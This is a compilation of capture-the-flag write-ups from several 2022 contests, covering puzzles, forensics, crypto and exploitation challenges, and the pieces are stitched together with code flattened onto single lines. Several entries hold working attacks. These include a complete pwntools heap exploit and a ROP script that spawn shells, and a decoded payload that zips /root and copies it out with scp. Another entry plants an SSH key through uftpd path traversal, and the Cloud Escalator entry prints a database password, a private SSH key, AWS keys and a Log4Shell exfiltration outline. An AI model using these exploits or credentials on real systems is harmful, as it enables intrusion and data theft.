Going to the [CTFtime page for PeanutButter.jar](https://ctftime.org/team/78193), we find that their profile contains the flag, which is `LITCTF{H4s_Th3ir_0wn_CTF_OTZ_OTZ_OTZ}`. |
# Factory Reset, 300 points
## Flag 1
First, you have to connect to the VPN with the command:`sudo openvpn yourvpnfile.ovpn`
Next, let's run an nmap scan:`nmap -sC -sV 10.6.0.100`

There are two interesting things here, ssh access, and **uftpd 2.10** access
After some research, I found this document: https://www.suryadina.com/assets/pdf/Project_CVEs_UFTPD_published.pdf
I conclude that I must abuse the flaw of uftpd 2.10 to put my SSH key there.
`ssh-keygen -b 2048 -t rsa -f ~/.ssh/sshkey_lab``mv ~/.ssh/sshkey_lab.pub ./`
Then I connect in FTP`ftp 10.6.0.100 #avec anonymous`
With`ls ../../home`I see that there is a user called "admin".
So I use the command:`put sshkey_lab.pub ../../home/admin/.ssh/authorized_keys`
I log out and try to log in using SSH.`ssh -i ~/.ssh/sshkey_lab [emailย protected]`
And it works!

**Flag 1 : CTF{Th3_Inc3pt0r}**
## Flag 2
To find the second flag, I just went through the files and found it in `/var/backups/DATA/flag1.txt`
**flag 2 : CTF{F0rtREss_Br3@c#3d}**
## Flag 3
I think the flag 3 is in the root folder, for that I have to do a bit of privilege escalation.
I start by running LinPEAS to try and find flaws.

I notice that the **find** command is executed with the root user.
So I use the command:`find /root -type f -exec cat {} \;`
And it works !
**Flag 3 : CTF{!_@m_r00t3d}** |
Listening to the LIT Music Bot, it is playing "Never Gonna Give you up" on repeat, except there's some noise. This is a morse with the longer noise being "_", shorter noise being ".", and the woodblock sound being " ".
._.. .. _ _._. _ .._. { ._. .. _._. _._ .. .._. .. . _.. }
Using an online Morse Code translator (https://morsecode.world/international/translator.html), we get the flag.
Flag: LITCTF{RICKIFIED} |
When I tried copy and pasting the content of the Kmathz, I found a series of UTF8 values.
We find that these are all bunch of zero-width characters, and a research further revealed they are used for steganography. Using the website https://neatnik.net/steganographr/#results we revealed the following text
Hello fellow CodeTiger Loyalists. Due to our joint effort, his escape has been successful. The non-Loyalists may think him gone, but we know the truth. He is merely lying in wait to return with an LIT problem to dazzle us all. Let it be known: C0dEt1GeR_L1VES
Which ended up being the flag. |
# [Hard] Protect the Supply (250 points)
> After the day that the A.I went rouge everything has changed in our society even simple and micro services have changed. Our Hacky University and our Hacky Factory has changed and something looks out of place...> > Can you see why we no longer feel at home in our own container?> > Run docker run -ti hackazon/micro_ghost /bin/sh to get started> > Update: 2022-07-07 15:30 CEST, bug fix - container now accesible for players
[Video Writeup](https://youtu.be/gYgFK-NbtH4): https://youtu.be/gYgFK-NbtH4
### Protect the Supply
> Can you identify why ever since the attack our container felt off?
Let's run the docker container that has been provided.

If you analyse the files and folders in the container, you will notice that it is a standard linux image. All files are normal except the ones in `/opt` directory. It contains two extra files: `ld-linux-x86_64.so.2` and `libc.so.evil.6`. This already gives us a hint at what to look for. libc files are usually named `libc.so.6` but since it's named `libc.so.evil.6` here, there must definitely be something fishy going on. You can mount a local directory as a volume using `-v $PWD:/ctf` when running the docker container and copy the files from `/opt` to work with them locally.
I analysed the binary thoroughly using disassemblers like IDA and Ghidra but found nothing out of the ordinary. I also found that the two binaries had nothing different in them in comparison with the correct version of `libc.so.6` and `ld-linux-x86_64.so.2`. They were perfect matches with nothing tampered! So, why was the file named evil and what was I missing?
Let's take a look at the steps to build the docker container using `docker history hackazon/micro_ghost --no-trunc`.

(We need to read the log from bottom to top to make sense of it)
This is what happens briefly:
- `file:11157b07dde10107f3f6f2b892c869ea83868475d5825167b5f466a7e410eb05` is copied into container root directory. This is just docker setting up the linux container filesystem- `file:1d19734b949df42e538d10ea3e6c9eb33e3f2064be2540a446c095ee007af323` is copied into `/lib/x86_64-linux-gnu/libc.so.evil.6` (this is the actual file we're looking for but as we shall see in the next steps, it gets deleted deliberately)- `file:5f853a35eb22d7cd0b3789fdf55937ebf492d63386894ed02ab7d6fa7717ff30` is copied into `/opt/libc.so.6` (this is an actual libc file and is not tampered with)- `file:46b15dd2b1c1b2421f8f66c0e0b1adbb2be1fa29bdfb24df21ab41a4393cc4ca` is copied into `/opt/ld-linux-x86-64.so.2` (this file is not tampered with either)- file permissions is set to executable for `/lib/x86_64-linux-gnu/libc.so.evil.6`- file `/opt/libc.so.6` is renamed to `/opt/libc.so.evil.6` (this is present to misguide us)- `/lib/x86_64-linux-gnu/libc.so.evil.6` is executed. This is the malicious file we need take a look at- `/lib/x86_64-linux-gnu/libc.so.evil.6` is deleted
At this point, we know by looking at the container build history that we must try and find the file `/lib/x86_64-linux-gnu/libc.so.evil.6`. However, since it is deleted from the container, we have no way of recovering it... or do we? ?
At some point during the CTF while solving this challenge, I came across [this](https://github.com/wagoodman/dive) tool. This tool is quite insane and allows us to take a look at the files in the container filesystem at any step during its build. Let's explore our container using a tool and see if we can find the same results as we did with `docker history` above.
Follow the installation procedure in the repository and then run `sudo dive hackazon/micro_ghost`. This is how the interface would look like:

We can now explore what the container filesystem looked like at each step in its build. It can be seen that the file `/lib/x86_64-linux-gnu/libc.so.evil.6` was definitely added, executed and later removed. So, how do we recover this file if it was deleted? It should definitely not be possible for us to be able to access the file when it was deleted using `rm`, right? Well, lucky for us, we can in this particular case. Let's see how docker containers work.

As we're delving into docker intrinsics and how it manages its files for containers, I'm not going to try and explain all of it. A lot of good work has been done by other people in exploring these details. I learnt a lot about these details by reading many articles on `how are docker images stored in overlay2 filesystem`. [This](https://www.freecodecamp.org/news/where-are-docker-images-stored-docker-container-paths-explained/) and many others do a great job at teaching about the same.
Now that we understand how the docker filesystem works, we know that the real `libc.so.evil.6` file that we're looking for is present somewhere within the directories where it stores images and container data on our host system. As mentioned in the articles, let's inspect our container and pinpoint the exact directory where the file we're looking for is present.
```bashโโโ(arrow) ? [~/Desktop/ctf/hackazon-deloitte-2022/protect-the-supply] โโ$ sudo docker inspect hackazon/micro_ghost
... "GraphDriver": { "Data": { "LowerDir": "/var/lib/docker/overlay2/156888775e1a1cc4543ae18319e967556dc3c5d466303465a83e0d373346d13c/diff:/var/lib/docker/overlay2/b2f3c8e267cebbf568a66897ae50c71848c927486fdb9f20d0c28deeb9b97553/diff:/var/lib/docker/overlay2/fd0ca568d53f331fd92f21be9342a2ce680b111c2c2c6e21eb0d03dae74d846a/diff:/var/lib/docker/overlay2/e4fdc2830b1f10e95fc13769982c728fb02bcec034fedcb623dec657a27439f1/diff:/var/lib/docker/overlay2/f34c8467971f3f8f9a09e851952993f9e38a6d63b795aa61d8c1b2bd07c7a75d/diff:/var/lib/docker/overlay2/0243afd2682f997b906ced58c278efd6c8232d5ad1fac140318695e5a929e262/diff:/var/lib/docker/overlay2/92a83e22ecc4eb78985cc1d3fe2cf8cb9524bef3c77387df2aebca17c8c2d632/diff", "MergedDir": "/var/lib/docker/overlay2/85144761cf749fac9853033391fdf1304002391b935a723703409ec6460105a8/merged", "UpperDir": "/var/lib/docker/overlay2/85144761cf749fac9853033391fdf1304002391b935a723703409ec6460105a8/diff", "WorkDir": "/var/lib/docker/overlay2/85144761cf749fac9853033391fdf1304002391b935a723703409ec6460105a8/work" }, "Name": "overlay2" },...```
What we need to look at is the "LowerDir" part. As mentioned above and like we did when reading the output of `docker history`, we need to look at the directories from bottom to top. As a test, we can see that the first command executed when building the container was to copy and init the linux filesystem in the root directory. Therefore, `/var/lib/docker/overlay2/92a83e22ecc4eb78985cc1d3fe2cf8cb9524bef3c77387df2aebca17c8c2d632/diff` should contain all the files and folders that are used for the same. Let's confirm it!

By listing the files and folders in that directory, I could see the basic linux filesystem files. This confirms what I mention above. Now, we need to find the directory where the actual evil libc file is stored. Since it was the second command executed when building the container, it most likely will be found in the second directory from the bottom `/var/lib/docker/overlay2/0243afd2682f997b906ced58c278efd6c8232d5ad1fac140318695e5a929e262/diff`.

Found it! Yes, that's the file we've been looking for. We can now analyse it with IDA/Ghidra and start the reversing part of this challenge.
There isn't much to the reversing part. A lot of data is stored into a byte/char array and passed into another function to perform an xor operation with a cyclic pattern. We can collect the data from the disassembly, xor it ourselves and retrieve what's being passed as a param to the system function call.


The resulting output gives us the flag once we do the simple reversing.
```echo "Nope";v1="CTF{C0n7r0Ll1NG_";zip -r exf.zip /root/;scp exf.zip [emailย protected]:/yeet_data/;v2="5h3_5uppLy_";rm exf.zip;v3="Ch41n_15_7h3_K#Y!!!!}";echo "GG";Really Not A MalwareTotally Not A Malware```
**Flag:** `CTF{C0n7r0Ll1NG_5h3_5uppLy_Ch41n_15_7h3_K#Y!!!!}`
Script:
```pys = """0x0 = 40x1 = 20x2 = 90x3 = 0xe0x4 = 0x420x5 = 0x430x6 = 0x2f0x7 = 0xe0x8 = 0x130x9 = 40xa = 0x430xb = 0x5a0xc = 0x120xd = 0x500xe = 0x5c0xf = 0x430x10 = 0x260x11 = 0x350x12 = 0x270x13 = 0x1a0x14 = 0x250x15 = 0x510x16 = 0xf0x17 = 0x560x18 = 0x150x19 = 0x510x1a = 0x2d0x1b = 0xd0x1c = 0x590x1d = 0x2f0x1e = 0x260x1f = 0x3e0x20 = 0x4b0x21 = 0x5a0x22 = 0x1b0x23 = 80x24 = 0x1a0x25 = 0x410x26 = 0x4c0x27 = 0x130x28 = 0x4b0x29 = 40x2a = 0x190x2b = 70x2c = 0x420x2d = 0x1b0x2e = 80x2f = 0x110x30 = 0x4d0x31 = 0x4e0x32 = 0x130x33 = 0xe0x34 = 10x35 = 0x150x36 = 0x4e0x37 = 0x5a0x38 = 0x1c0x39 = 20x3a = 0x110x3b = 0x410x3c = 0x150x3d = 0x190x3e = 70x3f = 0x4f0x40 = 0xb0x41 = 80x42 = 0x110x43 = 0x410x44 = 00x45 = 0xe0x46 = 0xe0x47 = 0x150x48 = 0x330x49 = 20x4a = 0x530x4b = 0x4f0x4c = 0x190x4d = 00x4e = 0xd0x4f = 50x50 = 0x1a0x51 = 0xc0x52 = 00x53 = 80x54 = 0x180x55 = 0x4f0x56 = 50x57 = 40x58 = 0x1b0x59 = 0x5b0x5a = 0x4e0x5b = 0x180x5c = 0x1d0x5d = 40x5e = 0x150x5f = 0x3e0x60 = 0x1d0x61 = 00x62 = 0x150x63 = 00x64 = 0x550x65 = 0x5a0x66 = 0x170x67 = 0x500x68 = 0x5f0x69 = 0x430x6a = 0x540x6b = 0xa0x6c = 0x500x6d = 0x3e0x6e = 0x540x6f = 0x170x70 = 0x140x71 = 0x110x72 = 0x2d0x73 = 0x1b0x74 = 0x3a0x75 = 0x430x76 = 0x5a0x77 = 0x100x78 = 0xb0x79 = 0x410x7a = 40x7b = 0x1a0x7c = 10x7d = 0x4f0x7e = 0x1b0x7f = 0xb0x80 = 0x180x81 = 0x5a0x82 = 0x170x83 = 0x510x84 = 0x540x85 = 0x430x86 = 0x220x87 = 0xa0x88 = 0x5e0x89 = 0x500x8a = 0xf0x8b = 0x3d0x8c = 0x5a0x8d = 0x540x8e = 0x3e0x8f = 0x550x90 = 40x91 = 0x520x92 = 0x3e0x93 = 0x290x94 = 0x4e0x95 = 0x380x96 = 0x400x97 = 0x430x98 = 0x4f0x99 = 0x400x9a = 0x1c0x9b = 0x400x9c = 0x540x9d = 40x9e = 20x9f = 0xa0xa0 = 0x1f0xa1 = 0x410xa2 = 0x430xa3 = 0x250xa4 = 0x360xa5 = 0x430xa6 = 0x5a0xa7 = 0""".strip().splitlines()
l = [0] * 257
for line in s: line = line.split() index = int(line[0], 16) value = int(line[-1], 16) l[index] = value
x = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaa'
# print(len(x))# print(0xa7)
for i in range(0xa7): print(chr(l[i] ^ x[i]), end = '')
s = """0x28 = 0x540x48 = 0x520x46 = 0x610x25 = 0x610x45 = 0x6c0x24 = 0x6c0x1d = 0x200x3d = 0x410x1c = 0x410x3c = 0x200x44 = 0x6c0x41 = 0x4e0x20 = 0x4e0x40 = 0x6f0x1f = 0x6f0x3f = 0x740x1e = 0x740x3e = 0x200x27 = 0x6f0x47 = 0x650x26 = 0x740x23 = 0x6c0x43 = 0x790x22 = 0x790x42 = 0x200x21 = 0x200x1b = 0x200x3b = 0x4d0x1a = 0x4d0x3a = 0x610x19 = 0x610x39 = 0x6c0x18 = 0x6c0x38 = 0x770x17 = 0x770x37 = 0x610x16 = 0x610x36 = 0x720x15 = 0x720x35 = 0x650x14 = 0x650x34 = 0x00x13 = 0x0""".strip().splitlines()
l = [0] * 1000
for line in s: line = line.split() index = int(line[0], 16) value = int(line[-1], 16) l[index] = value
print()
for i in l[::-1]: if i == 0: continue print(chr(i), end = '')``` |
### EZorange
was a heap pwn challenge from vsCTF 2022
This challenge was very similar from a challenge from MOCSCTF 2022 โ full of orange
which was itself very similar from a challenge from SECCON Beginners: Freeless
you can check by yourself:
[https://sekai.team/blog/mocsctf-2022/full-of-orange/](https://sekai.team/blog/mocsctf-2022/full-of-orange)
[https://github.com/nhtri2003gmail/writeup-mocsctf2022.mocsctf.com-orange](https://github.com/nhtri2003gmail/writeup-mocsctf2022.mocsctf.com-orange)
[https://dystopia.sg/seccon-beginners-2021-freeless/](https://dystopia.sg/seccon-beginners-2021-freeless)
it starts as house of Orange (as the name hints)
the challenge has no possibility to free a chunk, we can only allocate a chunk of up to 0x1000 bytes, and edit it.
The edit function is an oob read/write, we can use it to write or leak a byte at any offset from the beginning of the chunk.
As with the house of orange, we will reduce top_chunk, then allocate a 0x1000 chunk, that will free the top_chunk remaining chunk.
With that trick we can free two chunks that will go in the tcache.
Then we do a classic tcache poisonning with the oob r/w edit function,
and we overwrite `__malloc_hook` with a one gadget to get a shell.
The challenge is based on libc 2.32, but the safe linking does not change anything, as we can leak the heap address with the oob r/w.
Here is the exploit commented.
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'info'
exe = ELF("./ezorange_patched")libc = ELF("./libc.so.6")ld = ELF("./ld-2.32.so")
# change -l0 to -l1 for more gadgetsdef one_gadget(filename, base_addr=0): return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l0', filename]).decode().split(' ')]onegadgets = one_gadget(libc.path, libc.address)
rop = ROP(exe)
host, port = "104.197.118.147", "10160"
if args.REMOTE: p = remote(host,port)else: p = process([exe.path])
def buy(idx,size): p.sendlineafter('> ', '1') p.sendlineafter(': ', str(idx)) p.sendlineafter(': ', str(size))
def modify(idx, cell, val=0): p.sendlineafter('> ', '2') p.sendlineafter(': ', str(idx)) p.sendlineafter(': ', str(cell)) p.recvuntil('Current value: ',drop=True) retval = int(p.recvuntil('\n',drop=True),10) if (val<256): p.sendlineafter('New value: ', str(val)) else: p.sendlineafter('New value: ', '+') return retval
buy(0, 0x18)modify(0, 26, 0)buy(1, 0x1000)
leak = 0for i in range(6): leak += modify(0, 32+i, 256)<<(i<<3)
print('libc leak = '+hex(leak))libc.address = leak - 0x1c5c00print('libc base = '+hex(libc.address))
buy(0, 0x100)
buy(1,0xce0)# modify top_chunk size to 0x301modify(1, 0xce8, 1)modify(1, 0xce9, 3)modify(1, 0xcea, 0)# free 1st 0x2e0 chunkbuy(1,0x1000)
buy(0, 0x100)
buy(1,0xce0)# modify top_chunk size to 0x301modify(1, 0xce8, 1)modify(1, 0xce9, 3)modify(1, 0xcea, 0)# free second 0x2e0 chunkbuy(1,0x1000)
def obfuscate(p, adr): return p^(adr>>12)
# leak heap fd pointerleak2 = 0for i in range(6): leak2 += modify(0, 0x44948+i, 256)<<(i<<3)
print('heap leak = '+hex(leak2))
# target to get allocation to (malloc_hook)target= obfuscate(libc.sym['__malloc_hook'], (leak2+0x44d00))# do tcache poisonning on second chunkfor i in range(6): modify(0, 0x44940+i, (target>>(i<<3))&0xff)
buy(1,0x2d0)# second allocation will be on our targetbuy(0,0x2d0)
onegadgets = one_gadget(libc.path, libc.address)target = onegadgets[1]
# write onegadget to our targetfor i in range(6): modify(0, i, (target>>(i<<3))&0xff)
# launch onegadget & got shellbuy(0,1)
p.interactive()```
|
# [Beginner] Mayor's Blog (125 points)
> The Mayor of the Smart City was hacked. Try to find out how the attackers exploited his blog!>> Author information: This challenge is developed by [YYalamov@DeloitteNL](https://linkedin.com/in/yasen-yalamov-0777a915b).
[Video Writeup](https://youtu.be/alV2OHBjWEU) |
Exploit script:
```pyfrom pwn import *
def start(argv = [], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript = gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw)
gdbscript = '''break *vulninit-pwndbgcontinue'''.format(**locals())
exe = './ROP-the-AI'elf = context.binary = ELF(exe, checksec = False)rop = ROP(elf)context.log_level = 'info'
io = start()
ret = rop.find_gadget(['ret'])[0]pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]pop_rax_ret = rop.find_gadget(['pop rax', 'ret'])[0]pop_rsi_pop_r15_ret = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]pop_rdx_ret = rop.find_gadget(['pop rdx', 'ret'])[0]syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
payload = flat([ b'A' * 120, ret, pop_rdi_ret, elf.bss(), elf.symbols['gets'], pop_rax_ret, 0x3b, pop_rdi_ret, elf.bss(), pop_rsi_pop_r15_ret, 0, b'pwnisfun', pop_rdx_ret, 0, syscall_ret])
print(io.recv().decode())io.sendline(payload)io.sendline(b'/bin/sh\x00')
io.interactive()``` |
# [Hard] Cloud Escalator Part 1 (300 points)
> The AI managed to get into our secure smart city portal, but we have no clue how it got there.>> Author information: This challenge is developed by Ankit Parashar, Vivek Mukkam Palavila Vijayan, Ralph van den Hoff and Fouad Aljaber.
- Guess and find `/login` endpoint. Could also be found by briefly using gobuster/dirbuster, etc.
- Go to `forgotpassword.html`. Look at HTML and find mysqldb credentials. - `mysql -u allen -p8%pZ-s^Z+P4d=h@P -h escalator.c45luksaam7a.us-east-1.rds.amazonaws.com` - Make use of SQL commands: `show databases;`, `show tables;`, `use <DATABASE_NAME>;`, `select * from <TABLE_NAME>;`...
- Interact with the mysqldb server and find first flag, git private key as well as AWS credentials - Flag present in `users.data`: ``` CTF{!_p@wn3d_db_4_fu9 ``` - Git private key present in `env.git` ``` -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY----- ```
- AWS credentials present in `config.aws_env` ``` user: s3user1 access key: AKIAWSXCCGNYFS7NN2XU secret key: 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 ```- Make use of AWS Credentials. - Configure ``` $ aws configure AWS Access Key ID [****************N2XU]: AKIAWSXCCGNYFS7NN2XU AWS Secret Access Key [****************9P0I]: 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 Default region name [us-east-1]: us-east-1 Default output format [json]: json ```
- List buckets ``` $ aws s3 ls (escalator-logger-armour comes out to be the bucket name)
$ aws s3 ls s3://escalator-logger-armour/ PRE new/ 2022-07-15 13:57:35 11351 Logs.txt
$ aws s3 cp s3://escalator-logger-armour/Logs.txt . download: s3://escalator-logger-armour/Logs.txt to ./Logs.txt ```
- Find github repository and second flag in Logs.txt file ``` repo: github.com/cloudhopper-sec/app.git flag: CTF{S3eing_T3r0ugh_!t} ```
- Make use of ssh private key to clone repo. In the file `~/.ssh/config`, write the following:
``` Host github HostName github.com IdentityFile /home/arrow/Desktop/ctf/hackazon-deloitte-2022/cloud-esacalator-part-1/git-private-sshkey.key IdentitiesOnly Yes ```
Clone repository with `git clone git@github:cloudhopper-sec/app.git`
- Git diff between latest two commits gives us admin password. Logging in gives us the third flag.
```bash $ git diff HEAD HEAD~1
diff --git a/src/main/java/com/cloudEscalator/util/CookieHandler.java b/src/main/java/com/cloudEscalator/util/CookieHandler.java index f787547..a7a0b8c 100644 --- a/src/main/java/com/cloudEscalator/util/CookieHandler.java +++ b/src/main/java/com/cloudEscalator/util/CookieHandler.java @@ -9,8 +9,8 @@ import java.util.Optional; public class CookieHandler { private static final String LOGIN_COOKIE_NAME = "LoggedIn"; - private static final String USERNAME = ""; - private static final String PASSWORD = ""; + private static final String USERNAME = "admin"; + private static final String PASSWORD = "C@llTh3PluMM3r"; private static final String SHA256_LOGIN_HASH = Hashing.sha256() .hashString(USERNAME+PASSWORD, StandardCharsets.UTF_8) ```
Flag: `CTF{Y0u_G0t_A_l3ak}`
- Try different exploit strategies. Apache 8.0.36 has multiple severe CVEs present but it doesn't seem to work. Log4j version is 2.14.1 which is a vulnerable version. - Figure out that log4j can be used to obtain RCE - Setup log4j POC. Here's the one I used: https://github.com/marcourbano/Log4Shell_PoC - Change Exploit.java file in POC to send yourself the flag using ldap lookup - Flag: `CTF{H3aT_th3_L0GF0rg3}`
[Original writeup](https://github.com/a-r-r-o-w/capture-the-flag/blob/master/writeups/hacky-holidays-deloitte-2022/commercial-avenue/hard-cloud-escalator-part-1/README.md) |
No captcha required for preview. Please, do not write just a link to original writeup here.#include<stdio.h>#include<stdlib.h>int main(){ char s[] = "O`EbNgQDfB{FKdHuiSx``F"; int seed = 0x42; srand(seed); int v6; int chas[] = {25,9,38,22,33,21,40,2,9,48,47,46,46,34,33,7,26,39,26,15,18,40,33}; for (int i = 0; ; ++i ) { v6 = strlen(s); if ( v6 < i ) break; printf("%c",(int)s[i]^chas[i]); }}็ๆkey๏ผ่ฟ่กๆไปถ่พๅ
ฅๅพๅฐflag |
[Original writeup](https://imp.ress.me/blog/2022-07-26/mch-2022-crypto/#sharing-is-caring)
tl;dr Solve Shamir's Secret Sharing over the integers with z3 |
[Original writeup](https://imp.ress.me/blog/2022-07-26/mch-2022-crypto/#squaring-off)
tl;dr Solve discrete log modulo prime^2 with combination of Pohlig-Hellman and Paillier decryption. |
**ENGRAVER Writeup**
[GoogleCTF2022](https://capturetheflag.withgoogle.com/) - Hardware - Engraver
First of all lets look at what we have in our task archive. There are 3 files, two images and a pcapng file. Images show a robotic arm doing engraving. Let's leave the images for now and look at the pcapng file. We open it with wireshark and start looking through the content. Let's check below packages first:
-----Inside we can see several strings that can help us determine what to look for to solve the challenge. We have the following information available:* MM32F103RB* MindMotion SOC Solutions* HiwonderAfter some googleing we found a similar product to the one we have images of. The product is located on Hiwonder website and is called LeArm. We downloaded the software to control the arm and install it to see what we can find out. Let's look at the interface:
-----
As you can see the arm has 6 servomotors (we will need this information later) and we can set a position of each of them. We found an option to save command as an action file. We wrote a couple of actions and saved them to a file to see how it will look like. We opened the resulting .rob file with hex editor and looked at the content:
-----As you can see, command values got encoded as hexedimal values. We can see arm name as first several bytes and then we have our time offset and values for each of the 6 servos. Now let's look again at our pcap file and see if we can find something there that can be similar to this:
-----As you can see we have several packets of length 91 byte with data in them. If we look at HID data of several of those packets we can notice there is a static part and a dynamic part. Let's discard the static part and work with dynamic one. For example f40101fc08 can be decoded as following:* 01f4 - time offset (we can discard it for this task, since it doesn't influence the result)* 01 - ID of the servomotor* 08fc - servomotor current position
Let's decode it and write out first 15 commands:| Time Offset | Servo ID | Servo Position || -------- | -------- | -------- || 500 | 1 | 2300 || 1500 | 2 | 1300 || 1500 | 3 | 1700 || 1500 | 4 | 2500 || 1500 | 5 | 1600 || 1500 | 6 | 1500 || 500 | 1 | 2400 || 1000 | 2 | 1500 || 500 | 3 | 1500 || 1000 | 2 | 1300 || 500 | 1 | 2300 || 1500 | 2 | 1300 || 1500 | 3 | 1700 || 1500 | 4 | 2500 || 1500 | 5 | 1600 || 1500 | 6 | 1500 |
